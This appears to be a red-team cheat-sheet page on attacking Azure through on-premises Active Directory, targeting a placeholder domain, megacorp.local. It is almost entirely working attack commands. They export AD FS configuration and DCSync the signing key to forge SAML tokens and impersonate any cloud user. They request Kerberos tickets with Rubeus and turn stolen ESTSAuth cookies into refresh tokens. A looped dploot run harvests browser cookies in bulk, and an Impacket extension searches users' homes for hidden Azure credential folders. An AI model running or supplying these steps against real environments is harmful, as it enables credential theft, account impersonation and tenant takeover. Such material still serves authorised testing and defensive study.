On-Prem → Cloud

Dumping AAD Connect Creds

Tools

Forging AD FS SAML Tokens

Check if Azure is configured as a party trust:

ADFS > Get-ADFSRelyingPartyTrust | select Identifier | fl

Get AD FS config:

AADInt > $ADFSConfig = Export-AADIntADFSConfiguration -Hash <ADFS_SVC_NT_HASH> -SID <ADFS_SVC_SID> -Server ADFS01.megacorp.local

Get private key object GUID:

PV3 > Get-DomainObject -LDAPFilter "(&(objectclass=contact)(!name=CryptoPolicy)(ThumbnailPhoto=*))" -SearchBase "CN=ADFS,CN=Microsoft,CN=Program Data,DC=megacorp,DC=local" | select objectGuid

Ensure you have enough privileges to DCSync:

Cmd > Rubeus.exe asktgt /user:DC01$ /domain:megacorp.local /dc:DC01.megacorp.local /aes256:<AES_KEY> /opsec /nowrap /ptt
Cmd > Rubeus.exe asktgs /ticket:<TICKET> /domain:megacorp.local /dc:DC01.megacorp.local /service:LDAP/DC01.megacorp.local /nowrap /ptt

DCSync the key:

We don't actually need clear-text creds to replicate the key if we've already imported a privileged TGT, so $Credentials (here) can be omitted.

AADInt > $ADFSKey = Export-AADIntADFSEncryptionKey -Server DC01.megacorp.local -ObjectGuid <GUID> -Credentials "dummy"
PS > [System.BitConverter]::ToString($ADFSKey)

Generate the token signing certificate:

AADInt > Export-AADIntADFSCertificates -Configuration $ADFSConfig -Key $ADFSKey
PS > ls ADFS_*

Get AD FS trust issuer as well as on-prem users' immutable cloud IDs:

ADFS > $Issuer = (Get-ADFSProperties).Identifier.OriginalString
PV3 > Get-DomainUser | select UserPrincipalname, @{Name="ImmutableId"; Expression={"$([Convert]::ToBase64String(([guid]$_.ObjectGuid).ToByteArray()))"}}

Impersonate and login:

AADInt > Open-AADIntOffice365Portal -ImmutableId <BASE64_ID> -PfxFileName .\ADFS_signing.pfx -Issuer $Issuer

Refresh Token from ESTSAuth* Cookies

Automated with TokenTacticsV2:

PS > Get-AzureTokenFromESTSCookie -ESTSAuthCookie <COOKIE_VALUE>

Mass Cookies Harvesting

Collect with dploot and decrypt with a backup key (similar to HEKATOMB):

$ ls tickets/
SRV01.ccache   SRV02.ccache   PC01.ccache
$ for st in `ls tickets/`; do comp=`basename $st .ccache`; KRB5CCNAME="tickets/$st" proxychains4 dploot browser -d megacorp.local -no-pass -use-kcache "$comp.megacorp.local" -pvk ../key.pvk -show-cookies > "browsers_$comp.out"; done

Search for ESTSAUTHPERSISTENT cookies:

$ grep -nr --include '*.out' ESTSAUTHPERSISTENT -A3 | grep -e Creation -e Expires

Mass Hidden Directories Searching

Impacket's smbclient.py extension (searches for hidden directories in every user's home):

def do_hidden(self, args=None):
    hidden = []
    for item1 in self.smb.listPath(self.share, '\\Users\\*'):
        longname1 = item1.get_longname()
        if item1.is_directory() and longname1 not in ('.', '..'):
            dir0 = ntpath.join('\\Users', longname1)
            try:
                ls = self.smb.listPath(self.share, ntpath.join(dir0, '*'))
            except:
                continue
            else:
                for item2 in ls:
                    longname2 = item2.get_longname()
                    if item2.is_directory() and longname2 not in ('.', '..') and longname2.startswith('.'):
                        hidden.append((item2, ntpath.join(dir0, longname2)))
    result = ''
    for item, name in hidden:
        result += 'drw-rw-rw- '
        result += f'{datetime.fromtimestamp(item.get_mtime_epoch()).strftime("%Y/%m/%d %H:%M:%S"):>21} '
        result += '  '
        result += name
        result += '\n'
    print(result.strip())

Collect hidden directories:

$ ls tickets/
SRV01.ccache   SRV02.ccache   PC01.ccache
$ echo 'use c$\ninfo\nhidden' > cmd
$ for st in `ls tickets/`; do comp=`basename $st .ccache`; KRB5CCNAME="tickets/$st" proxychains4 smbclient.py -k -no-pass "$comp.megacorp.local" -inputfile cmd -outputfile "hidden_$comp.out"; done

Search for hidden directories that start with .az:

$ grep -nr --include '*.out' '\Users' | grep -i '\.az'

Last updated